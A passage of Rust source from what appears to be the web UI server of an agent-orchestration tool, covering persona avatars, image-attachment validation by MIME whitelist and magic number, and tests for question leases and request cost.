9872            .as_deref()
9873            .map(str::trim)
9874            .filter(|p| !p.is_empty())
9875            .unwrap_or(&talk.persona)
9876            .to_owned();
9877        let specs = match Config::discover(&talk.repo, None) {
9878            Ok((cfg, _)) => cfg.talk.personas,
9879            Err(e) => {
9880                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9881                Vec::new()
9882            }
9883        };
9884        let found = persona::find(&specs, &wanted);
9885        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9886        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9887        let icon = effective_persona_icon(
9888            &ui.home,
9889            &wanted,
9890            found.as_ref().and_then(|p| p.icon.as_deref()),
9891        );
9892        if found.is_none() && icon.is_none() {
9893            return Ok(builtin_avatar(persona::DEFAULT_ID));
9894        }
9895        let Some(icon) = icon
9896            .as_deref()
9897            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9898        else {
9899            return Ok(builtin_avatar(&wanted));
9900        };
9901        let Some(found) = found else {
9902            return Ok(raster_or_builtin(
9903                Some(icon),
9904                persona_icon::builtin_svg(&wanted),
9905            ));
9906        };
9907        match persona_icon::load(icon) {
9908            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9909                let mut res = attachment_response(mime, bytes);
9910                res.headers_mut().insert(
9911                    header::CACHE_CONTROL,
9912                    header::HeaderValue::from_static("no-cache"),
9913                );
9914                Ok(res)
9915            }
9916            Ok((mime, _)) => {
9917                tracing::warn!(
9918                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9919                    found.id
9920                );
9921                Ok(builtin_avatar(&found.id))
9922            }
9923            Err(e) => {
9924                tracing::warn!(
9925                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9926                    found.id
9927                );
9928                Ok(builtin_avatar(&found.id))
9929            }
9930        }
9931    })
9932    .await
9933}
9934
9935/// Validate an attachment upload's declared `Content-Type` and the bytes
9936/// themselves, returning the canonical mime on success.
9937///
9938/// Two checks, both required: the header has to name one of
9939/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9940/// simply never in the list, active content rather than a picture, the same
9941/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9942/// magic number has to agree. The second is what stops a mislabeled upload -
9943/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9944/// a declared type is a claim, not a fact, so it is never trusted alone.
9945fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9946    if data.len() > ATTACHMENT_MAX_BYTES {
9947        return Err(ApiError::bad_request(format!(
9948            "attachment is {} bytes, over the {} MiB limit",
9949            data.len(),
9950            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9951        ))
9952        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9953    }
9954    if data.is_empty() {
9955        return Err(ApiError::bad_request("attachment is empty"));
9956    }
9957    let declared = declared_mime(headers)?;
9958    match sniffed_mime(data) {
9959        Some(sniffed) if sniffed == declared => Ok(declared),
9960        Some(sniffed) => Err(ApiError::bad_request(format!(
9961            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9962        ))),
9963        None => Err(ApiError::bad_request(
9964            "the file's bytes do not match any accepted image format",
9965        )),
9966    }
9967}
9968
9969/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9970/// and nothing else - parameters like `; charset=` are stripped, but the
9971/// value itself is not otherwise interpreted.
9972fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9973    let raw = headers
9974        .get(header::CONTENT_TYPE)
9975        .and_then(|v| v.to_str().ok())
9976        .unwrap_or("")
9977        .split(';')
9978        .next()
9979        .unwrap_or("")
9980        .trim()
9981        .to_ascii_lowercase();
9982    ATTACHMENT_MIME_WHITELIST
9983        .iter()
9984        .find(|&&m| m == raw)
9985        .copied()
9986        .ok_or_else(|| {
9987            if raw == "image/svg+xml" {
9988                ApiError::bad_request(
9989                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9990                     not just a picture",
9991                )
9992            } else if raw.is_empty() {
9993                ApiError::bad_request("Content-Type is required for an attachment upload")
9994            } else {
9995                ApiError::bad_request(format!(
9996                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9997                     image/gif or image/webp"
9998                ))
9999            }
10000        })
10001}
10002
10003/// Identify an image by its magic number, independent of whatever
10004/// `Content-Type` claimed.
10005fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10006    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10007        Some("image/png")
10008    } else if data.starts_with(b"\xff\xd8\xff") {
10009        Some("image/jpeg")
10010    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10011        Some("image/gif")
10012    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10013        Some("image/webp")
10014    } else {
10015        None
10016    }
10017}
10018
10019/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10020/// display - see [`talk::Attachment::name`]'s doc on why it never
10021/// contributes to a path. A missing or blank header (curl without it, an
10022/// older front end) falls back to a generic name rather than refusing the
10023/// upload over a field that is cosmetic.
10024fn filename_header(headers: &HeaderMap) -> String {
10025    headers
10026        .get(FILENAME_HEADER)
10027        .and_then(|v| v.to_str().ok())
10028        .map(str::trim)
10029        .filter(|s| !s.is_empty())
10030        .unwrap_or("attachment")
10031        .to_owned()
10032}
10033
10034/// Every attachment `GET` response: the mime re-validated against the same
10035/// closed whitelist the upload route enforces - never the string trusted
10036/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10037/// cannot decide it knows better than the type we send. Unlike a panel asset
10038/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10039/// document renders inline, not agent-authored HTML in a sandboxed frame.
10040fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10041    let content_type = ATTACHMENT_MIME_WHITELIST
10042        .iter()
10043        .find(|&&m| m == mime)
10044        .copied()
10045        .unwrap_or("application/octet-stream");
10046    (
10047        [
10048            (header::CONTENT_TYPE, content_type),
10049            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10050        ],
10051        body,
10052    )
10053        .into_response()
10054}
10055
10056/// The configuration for a repository, read off the disk for this request.
10057///
10058/// Through [`blocking`] because discovery reads and merges several TOML files,
10059/// and because the alternative - caching it in [`Ui`] at startup - would mean
10060/// the operator's phone kept interviewing with a roster they had already
10061/// changed, with no way to reload it but restarting the server they are not
10062/// sitting in front of.
10063async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10064    let repo = repo.to_path_buf();
10065    blocking(move || {
10066        let (cfg, _) = Config::discover(&repo, None)?;
10067        Ok(cfg)
10068    })
10069    .await
10070}
10071
10072/// The one prefix rule, used for both runs and tasks: a leading match for a
10073/// full id, a trailing match for the short form an operator reads off a
10074/// report. Written here rather than borrowed from `queue::resolve_id` because
10075/// the UI needs the two failures as different status codes, and telling them
10076/// apart from an error message is not something to build a route on.
10077fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10078    let mut hits = ids
10079        .into_iter()
10080        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10081    match (hits.next(), hits.next()) {
10082        (Some(one), None) => Ok(one),
10083        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10084        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10085            "`{prefix}` matches more than one {what}, including {a} and {b}"
10086        ))),
10087    }
10088}
10089
10090#[cfg(test)]
10091mod tests {
10092
10093    #[test]
10094    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10095        let dir = tempfile::tempdir().unwrap();
10096        let store = ask::Questions::at(dir.path().join("questions"));
10097        let mut q = Question::new(
10098            "task".to_owned(),
10099            "conduct".to_owned(),
10100            "conduct".to_owned(),
10101            "choose".to_owned(),
10102            String::new(),
10103            vec!["keep".to_owned()],
10104        );
10105        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10106        q.say("why?").unwrap();
10107        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10108        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10109        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10110        store.put(&mut q).unwrap();
10111        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10112        assert_eq!(store.count_needs_owner(), 1);
10113        store.beat(&q.id, ask::WaiterKind::Deputy);
10114        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10115        assert_eq!(store.count_needs_owner(), 0);
10116        let mut stale = store.read_lease(&q.id).unwrap();
10117        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10118        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10119        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10120        assert!(view.deputy_exhausted);
10121        assert!(view.waiting_on_agent);
10122        assert_eq!(view.question.choices, ["keep"]);
10123        store.drop_lease(&q.id);
10124        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10125        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10126    }
10127
10128    #[test]
10129    fn holder_reads_the_lease_not_the_record() {
10130        let mut q = Question::new(
10131            "run".to_owned(),
10132            "implement".to_owned(),
10133            "impl-A".to_owned(),
10134            "which?".to_owned(),
10135            String::new(),
10136            Vec::new(),
10137        );
10138        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10139        q.cwd = Some("/tmp".to_owned());
10140        assert_eq!(holder_of(&q, None), Some("nobody"));
10141        let beat = |kind, ago: i64| ask::Lease {
10142            kind,
10143            pid: 1,
10144            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10145                .unwrap(),
10146        };
10147        let fresh = beat(ask::WaiterKind::Asker, 1);
10148        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10149        let daemon = beat(ask::WaiterKind::Daemon, 1);
10150        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10151        let stale = beat(ask::WaiterKind::Asker, 3600);
10152        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10153
10154        // A conductor question says "deputy" only while one is attached and
10155        // alive, and "nobody" - never silence - when nothing ever listened.
10156        let mut c = Question::new(
10157            "task".to_owned(),
10158            crate::conduct::NODE.to_owned(),
10159            "conduct".to_owned(),
10160            "which?".to_owned(),
10161            String::new(),
10162            Vec::new(),
10163        );
10164        assert_eq!(holder_of(&c, None), Some("nobody"));
10165        c.cwd = Some("/tmp".to_owned());
10166        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10167        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10168        let deputy = beat(ask::WaiterKind::Deputy, 1);
10169        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10170        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10171
10172        // A release-watch question: nobody until a deputy is attached.
10173        let mut r = Question::new(
10174            String::new(),
10175            crate::bump::NOTICE_NODE.to_owned(),
10176            "release-watch".to_owned(),
10177            "stuck?".to_owned(),
10178            String::new(),
10179            vec!["hold".to_owned()],
10180        );
10181        assert_eq!(holder_of(&r, None), Some("nobody"));
10182        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10183        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10184        // A choice-less bump notice is nobody's question at all.
10185        r.deputy = None;
10186        r.seat = "bump".to_owned();
10187        assert_eq!(holder_of(&r, None), None);
10188
10189        // A merge approval is the same: nobody until a deputy is attached
10190        // and alive, never a silent "no holder".
10191        let mut m = Question::new(
10192            "run".to_owned(),
10193            crate::land::APPROVAL_NODE.to_owned(),
10194            "land".to_owned(),
10195            "merge?".to_owned(),
10196            String::new(),
10197            Vec::new(),
10198        );
10199        assert_eq!(holder_of(&m, None), Some("nobody"));
10200        assert_eq!(
10201            holder_of(&m, Some(&fresh)),
10202            Some("asker"),
10203            "a live explicit wait is a listener even before a deputy is attached"
10204        );
10205        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10206        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10207        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10208        assert_eq!(holder_of(&m, None), Some("nobody"));
10209    }
10210
10211    fn stub_config() -> Config {
10212        // An explicit roster, so the result never depends on which agent CLIs
10213        // this machine has installed.
10214        Config {
10215            agents: vec![crate::config::AgentSpec {
10216                id: "stub".to_owned(),
10217                kind: AgentKind::Command,
10218                model: None,
10219                command: vec!["true".to_owned()],
10220                extra_args: Vec::new(),
10221                env: Default::default(),
10222                prompt_delivery: None,
10223            }],
10224            ..Config::default()
10225        }
10226    }
10227
10228    fn plain_question(seat: &str) -> Question {
10229        Question::new(
10230            String::new(),
10231            "n".to_owned(),
10232            seat.to_owned(),
10233            "s".to_owned(),
10234            String::new(),
10235            Vec::new(),
10236        )
10237    }
10238
10239    #[test]
10240    fn deputies_enabled_follows_the_config() {
10241        let on = stub_config();
10242        assert!(crate::deputy::can_start(Some(&on), ""));
10243        assert!(crate::deputy::can_start(Some(&on), "stub"));
10244        let mut off = on.clone();
10245        off.daemon.max_deputies = 0;
10246        assert!(!crate::deputy::can_start(Some(&off), ""));
10247        let mut empty = on;
10248        empty.agents.clear();
10249        assert!(!crate::deputy::can_start(Some(&empty), ""));
10250        assert!(!crate::deputy::can_start(None, ""));
10251    }
10252
10253    #[test]
10254    fn question_views_load_the_config_once() {
10255        let dir = TempDir::new().unwrap();
10256        let store = ask::Questions::at(dir.path().to_path_buf());
10257        let mut with_deputy = plain_question("b");
10258        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10259        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10260
10261        let calls = std::cell::Cell::new(0usize);
10262        let views = question_views(qs.clone(), &store, || {
10263            calls.set(calls.get() + 1);
10264            Some(stub_config())
10265        });
10266        assert_eq!(calls.get(), 1);
10267        assert_eq!(views.len(), 3);
10268        for (v, q) in views.iter().zip(&qs) {
10269            assert_eq!(
10270                v.deputies_enabled,
10271                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10272            );
10273        }
10274
10275        let views = question_views(qs, &store, || None);
10276        assert!(views.iter().all(|v| !v.deputies_enabled));
10277
10278        let calls = std::cell::Cell::new(0usize);
10279        let views = question_views(Vec::new(), &store, || {
10280            calls.set(calls.get() + 1);
10281            None
10282        });
10283        assert!(views.is_empty());
10284        assert_eq!(calls.get(), 0);
10285    }
10286
10287    use pretty_assertions::assert_eq;
10288    use serde_json::Value;
10289    use tempfile::TempDir;
10290    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10291
10292    use super::*;
10293    use crate::config::Config;
10294    use crate::queue::Source;
10295
10296    /// How many 10ms steps a settle loop takes before it calls a stall a
10297    /// stall - thirty seconds.
10298    ///
10299    /// These loops wait on real `sh` subprocesses, and the machine that runs
10300    /// the gate runs several suites at once, so a two-second budget was not
10301    /// waiting for the reply, it was racing the scheduler: two of these
10302    /// tests failed under that load with the turn simply not landed yet.
10303    /// This is a hang guard, not a latency assertion - every loop breaks the
10304    /// moment its condition holds, so a generous cap costs an idle machine
10305    /// nothing and still fails a genuine hang instead of hanging the suite.
10306    const SETTLE_STEPS: usize = 3_000;
10307
10308    /// A home with a queue and a runs directory, and a router serving it on
10309    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10310    /// dependency, not ours - so the tests drive a real socket, which has the
10311    /// side benefit of asserting the status line and content types the phone
10312    /// actually receives.
10313    struct Fixture {
10314        home: TempDir,
10315        addr: SocketAddr,
10316    }
10317
10318    impl Fixture {
10319        async fn start() -> Self {
10320            Self::with_loop(launch_idle).await
10321        }
10322
10323        /// A fixture whose loop is `launch`.
10324        async fn with_loop(launch: Launch) -> Self {
10325            let home = TempDir::new().expect("temp home");
10326            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10327            Self { home, addr }
10328        }
10329
10330        /// A fixture whose `ui.repo` is a real directory rather than the
10331        /// usual placeholder - for the routes that read config off it
10332        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10333        async fn with_repo(repo: PathBuf) -> Self {
10334            let home = TempDir::new().expect("temp home");
10335            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10336            Self { home, addr }
10337        }
10338
10339        /// As [`Fixture::with_repo`], with the machine-config file the
10340        /// settings screen reads and writes.
10341        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10342            let home = TempDir::new().expect("temp home");
10343            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10344            Self { home, addr }
10345        }
10346
10347        async fn serve(
10348            home: &FsPath,
10349            repo: PathBuf,
10350            launch: Launch,
10351            machine: Option<PathBuf>,
10352        ) -> SocketAddr {
10353            let queue = Queue::at(home.join("queue"));
10354            let runs = home.join("runs");
10355            std::fs::create_dir_all(&runs).expect("runs dir");
10356            let worktrees = home.join("wt").join("magi");
10357            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10358            let ui = Ui::new(
10359                queue,
10360                Questions::at(home.join("questions")),
10361                Talks::at(home.join("talks")),
10362                runs,
10363                home.to_path_buf(),
10364                repo,
10365            )
10366            .with_worktrees_root(worktrees)
10367            .with_machine_config(machine)
10368            .with_launch(launch);
10369            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10370                .await
10371                .expect("bind loopback");
10372            let addr = listener.local_addr().expect("local addr");
10373            tokio::spawn(async move {
10374                let router = ui
10375                    .router()
10376                    .layer(axum::middleware::from_fn(request_cost::observe));
10377                let _ = axum::serve(listener, router).await;
10378            });
10379            addr
10380        }
10381
10382        fn queue(&self) -> Queue {
10383            Queue::at(self.home.path().join("queue"))
10384        }
10385
10386        fn questions(&self) -> Questions {
10387            Questions::at(self.home.path().join("questions"))
10388        }
10389
10390        fn talks(&self) -> Talks {
10391            Talks::at(self.home.path().join("talks"))
10392        }
10393
10394        fn runs(&self) -> PathBuf {
10395            self.home.path().join("runs")
10396        }
10397
10398        async fn get(&self, path: &str) -> Res {
10399            request(self.addr, "GET", path, None).await
10400        }
10401
10402        /// The status and headers without the body, which is how the front end
10403        /// preflights a panel: a sandboxed frame is opaque to the parent
10404        /// document, so the only way to tell "no panel" from "a panel that
10405        /// rendered blank" is to ask before mounting.
10406        async fn head(&self, path: &str) -> Res {
10407            request(self.addr, "HEAD", path, None).await
10408        }
10409
10410        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10411            request(self.addr, "POST", path, body).await
10412        }
10413
10414        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10415            request_with(self.addr, "GET", path, None, extra).await
10416        }
10417
10418        async fn delete(&self, path: &str) -> Res {
10419            request(self.addr, "DELETE", path, None).await
10420        }
10421
10422        async fn put(&self, path: &str, body: &str) -> Res {
10423            request(self.addr, "PUT", path, Some(body)).await
10424        }
10425
10426        /// `POST` a raw body with its own headers - see [`request_bytes`].
10427        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10428            request_bytes(self.addr, path, headers, body).await
10429        }
10430    }
10431
10432    /// Real tracking refs exercise the successful discovery path (including
10433    /// extraction), rather than counting cheap failures on a placeholder repo.
10434    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10435        let tmp = TempDir::new().unwrap();
10436        let mut repos = Vec::new();
10437        for name in ["one", "two"] {
10438            let repo = tmp.path().join(name);
10439            let origin = tmp.path().join(format!("{name}.git"));
10440            std::fs::create_dir_all(&repo).unwrap();
10441            crate::git::git(&repo, &["init", "-b", "main"])
10442                .await
10443                .unwrap();
10444            std::fs::write(
10445                repo.join("magi.toml"),
10446                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10447            )
10448            .unwrap();
10449            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10450            crate::git::git(
10451                &repo,
10452                &[
10453                    "-c",
10454                    "user.name=fixture",
10455                    "-c",
10456                    "user.email=fixture@example.invalid",
10457                    "commit",
10458                    "-m",
10459                    "fixture",
10460                ],
10461            )
10462            .await
10463            .unwrap();
10464            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10465                .await
10466                .unwrap();
10467            crate::git::git(
10468                &repo,
10469                &["remote", "add", "origin", origin.to_str().unwrap()],
10470            )
10471            .await
10472            .unwrap();
10473            crate::git::git(&repo, &["push", "origin", "main"])
10474                .await
10475                .unwrap();
10476            crate::git::git(
10477                &repo,
10478                &[
10479                    "symbolic-ref",
10480                    "refs/remotes/origin/HEAD",
10481                    "refs/remotes/origin/main",
10482                ],
10483            )
10484            .await
10485            .unwrap();
10486            let (cfg, _) = Config::discover(&repo, None).unwrap();
10487            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10488            repos.push(repo);
10489        }
10490        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10491        (tmp, repos)
10492    }
10493
10494    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10495        let (tmp, repos) = performance_repositories().await;
10496        let machine = tmp.path().join("machine.toml");
10497        std::fs::write(&machine, "").unwrap();
10498        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10499        (tmp, repos, fx)
10500    }
10501
10502    fn seed_performance(
10503        fx: &Fixture,
10504        repos: &[PathBuf; 2],
10505        questions: usize,
10506        runs: usize,
10507        items: usize,
10508    ) {
10509        // Saving states directly never starts a run or changes MAGI_HOME.
10510        for i in fx.questions().list().len()..questions {
10511            let mut question = Question::new(
10512                "20261001-000000-0000".into(),
10513                "implement".into(),
10514                "impl-A".into(),
10515                format!("question {i}"),
10516                "context".into(),
10517                vec!["yes".into(), "no".into()],
10518            );
10519            question.id = format!("20261003-000000-{i:04x}");
10520            fx.questions().put(&mut question).unwrap();
10521        }
10522        for i in run_ids(&fx.runs()).len()..runs {
10523            write_run_repo(
10524                &fx.runs(),
10525                &format!("20261001-000000-{i:04x}"),
10526                RunStatus::Ready,
10527                repos[i % 2].to_str().unwrap(),
10528            );
10529        }
10530        for i in fx.talks().list().len()..items {
10531            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10532            let mut talk = fx.talks().get(&id).unwrap();
10533            talk.repo = repos[i % 2].clone();
10534            fx.talks().put(&mut talk).unwrap();
10535            let mut task = crate::queue::Task::new(
10536                format!("task {i}"),
10537                "instruction".into(),
10538                repos[i % 2].clone(),
10539                crate::queue::Source::Agent {
10540                    run: id,
10541                    node: crate::queue::CHAT_NODE.into(),
10542                },
10543            );
10544            task.id = format!("20261004-000000-{i:04x}");
10545            fx.queue().put(&mut task).unwrap();
10546            // Notices has a production retention cap; seed up to that cap.
10547            if i < crate::notices::CAP {
10548                Notices::at(fx.home.path().join("notifications"))
10549                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10550                    .unwrap();
10551            }
10552        }
10553        assert_eq!(fx.questions().list().len(), questions);
10554        assert_eq!(run_ids(&fx.runs()).len(), runs);
10555        assert_eq!(fx.talks().list().len(), items);
10556        assert_eq!(fx.queue().list().len(), items);
10557        assert_eq!(
10558            Notices::at(fx.home.path().join("notifications"))
10559                .list()
10560                .len(),
10561            items.min(crate::notices::CAP)
10562        );
10563    }
10564
10565    fn request_counts(res: &Res) -> (usize, usize) {
10566        assert_eq!(res.status, 200, "{}", res.body);
10567        (
10568            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10569            res.header("x-test-git").unwrap().parse().unwrap(),
10570        )
10571    }
10572
10573    #[tokio::test]
10574    async fn list_request_cost_is_independent_of_record_count() {
10575        let (_tmp, repos, fx) = performance_fixture().await;
10576        let mut previous = None;
10577        for n in [4, 60] {
10578            seed_performance(&fx, &repos, n, n, n);
10579            let mut costs = Vec::new();
10580            for (path, discoveries) in [
10581                ("/api/questions", 1),
10582                ("/api/talks", 2),
10583                ("/api/health", 1),
10584                ("/api/stats", 1),
10585            ] {
10586                // Equal cold extraction caches at both scales; this also
10587                // bounds first-request cost instead of only warmed requests.
10588                for repo in &repos {
10589                    let cache = repo.join(".git/magi/config");
10590                    if cache.exists() {
10591                        std::fs::remove_dir_all(cache).unwrap();
10592                    }
10593                }
10594                let cost = request_counts(&fx.get(path).await);
10595                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10596                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10597                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10598                costs.push(cost);
10599            }
10600            if let Some(previous) = previous {
10601                assert_eq!(costs, previous);
10602            }
10603            previous = Some(costs);
10604        }
10605        // runs reads shared row inputs and probes process liveness; queue
10606        // builds one blocker inventory; notifications reads its own store.
10607        // None discovers configuration or spawns git per item.
10608    }
10609
10610    /// The same handler path without transport, so the deterministic cause
10611    /// can also be checked in environments that prohibit binding sockets.
10612    #[tokio::test]
10613    async fn list_handler_cost_without_transport() {
10614        let (_tmp, repos) = performance_repositories().await;
10615        let fx = Fixture {
10616            home: TempDir::new().unwrap(),
10617            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10618        };
10619        let ui = Arc::new(
10620            Ui::new(
10621                fx.queue(),
10622                fx.questions(),
10623                fx.talks(),
10624                fx.runs(),
10625                fx.home.path().to_path_buf(),
10626                repos[0].clone(),
10627            )
10628            .with_worktrees_root(fx.home.path().join("wt")),
10629        );
10630        let mut previous = None;
10631        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10632            seed_performance(&fx, &repos, n, runs, items);
10633            let mut costs = Vec::new();
10634            for endpoint in ["questions", "talks", "health", "stats"] {
10635                for repo in &repos {
10636                    let cache = repo.join(".git/magi/config");
10637                    if cache.exists() {
10638                        std::fs::remove_dir_all(cache).unwrap();
10639                    }
10640                }
10641                let (_, cost) = request_cost::measure(async {
10642                    match endpoint {
10643                        "questions" => {
10644                            let _ = questions_list(State(ui.clone())).await.unwrap();
10645                        }
10646                        "talks" => {
10647                            let _ = talks_list(
10648                                State(ui.clone()),
10649                                Query(ListQuery {
10650                                    limit: None,
10651                                    ids: None,
10652                                }),
10653                            )
10654                            .await
10655                            .unwrap();
10656                        }
10657                        "health" => {
10658                            let _ = health(State(ui.clone())).await.unwrap();
10659                        }
10660                        _ => {
10661                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10662                                .await
10663                                .unwrap();
10664                        }
10665                    }
10666                })
10667                .await;
10668                eprintln!("{endpoint} handler N={n}: {cost:?}");
10669                assert_eq!(
10670                    cost.0,
10671                    if endpoint == "talks" { 2 } else { 1 },
10672                    "{endpoint}"
10673                );
10674                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10675                costs.push(cost);
10676            }
10677            if let Some(previous) = previous {
10678                assert_eq!(costs, previous);
10679            }
10680            previous = Some(costs);
10681        }
10682    }
10683
10684    #[tokio::test]
10685    async fn list_request_cost_scopes_do_not_mix() {
10686        let (_tmp, repos, fx) = performance_fixture().await;
10687        seed_performance(&fx, &repos, 10, 0, 10);
10688        let (questions, talks, notices) = tokio::join!(
10689            fx.get("/api/questions"),
10690            fx.get("/api/talks"),
10691            fx.get("/api/notifications")
10692        );
10693        assert_eq!(request_counts(&questions).0, 1);
10694        assert_eq!(request_counts(&talks).0, 2);
10695        assert_eq!(request_counts(&notices), (0, 0));
10696    }
10697
10698    #[tokio::test]
10699    async fn list_endpoints_large_home_ceiling() {
10700        let (_tmp, repos, fx) = performance_fixture().await;
10701        seed_performance(&fx, &repos, 200, 300, 400);
10702        let mut failures = Vec::new();
10703        // app.js boot/change loads plus the initial dashboard, settings and
10704        // repo picker. SSE is a persistent stream, not a bounded GET.
10705        for path in [
10706            "/",
10707            "/app.js",
10708            "/app.css",
10709            "/api/questions",
10710            "/api/runs?limit=300",
10711            "/api/queue",
10712            "/api/talks",
10713            "/api/notifications",
10714            "/api/health",
10715            "/api/stats",
10716            "/api/loop",
10717            "/api/settings",
10718            "/api/repos",
10719        ] {
10720            let start = std::time::Instant::now();
10721            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10722            let elapsed = start.elapsed();
10723            eprintln!("{path}: {elapsed:?}");
10724            match result {
10725                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10726                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10727                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10728            }
10729        }
10730        assert!(failures.is_empty(), "{}", failures.join("\n"));
10731    }
10732
10733    struct Res {
10734        status: u16,
10735        headers: String,
10736        /// The header block with its original casing, for the assertions that
10737        /// compare a header *value* rather than looking for a name. Lowercasing
10738        /// a CSP would hide a directive spelled with a capital letter, and the
10739        /// whole point of that test is that the string is exactly right.
10740        head: String,
10741        body: String,
10742        /// The body before any UTF-8 handling, for the routes that serve
10743        /// something other than text. A panel asset is a PNG as often as not,
10744        /// and `from_utf8_lossy` would silently replace half of it.
10745        bytes: Vec<u8>,
10746    }
10747
10748    impl Res {
10749        fn json(&self) -> Value {
10750            serde_json::from_str(&self.body)
10751                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10752        }
10753
10754        /// One header's value verbatim, or `None` when it was not sent.
10755        fn header(&self, name: &str) -> Option<&str> {
10756            self.head.lines().find_map(|line| {
10757                let (key, value) = line.split_once(':')?;
10758                key.trim()
10759                    .eq_ignore_ascii_case(name)
10760                    .then(|| value.trim_start().trim_end_matches('\r'))
10761            })
10762        }
10763    }
10764
